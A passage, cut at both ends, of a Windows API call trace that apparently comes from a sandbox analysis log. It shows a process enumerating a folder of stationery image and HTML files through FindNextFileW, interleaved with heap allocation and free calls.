(HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee948 [0051.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefcb8 [0051.830] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee968 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeffd0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee988 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef01e0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.831] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee9a8 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef00d8 [0051.832] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.832] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee9c8 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0810 [0051.832] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.832] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee9e8 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0918 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeea08 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0a20 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeea28 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0b28 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.833] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeea48 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0c30 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeea68 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea730 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeea88 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeac58 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.834] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeaa8 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeead60 [0051.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.835] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeac8 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x600) returned 0xef1980 [0051.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.835] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0051.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.835] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeae8 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeb08 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeb28 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef1fa0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.836] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeb48 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef20a8 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeb68 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef21b0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeb88 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef22b8 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.837] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeeeba8 [0051.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef23c0 [0051.838] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.838] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, 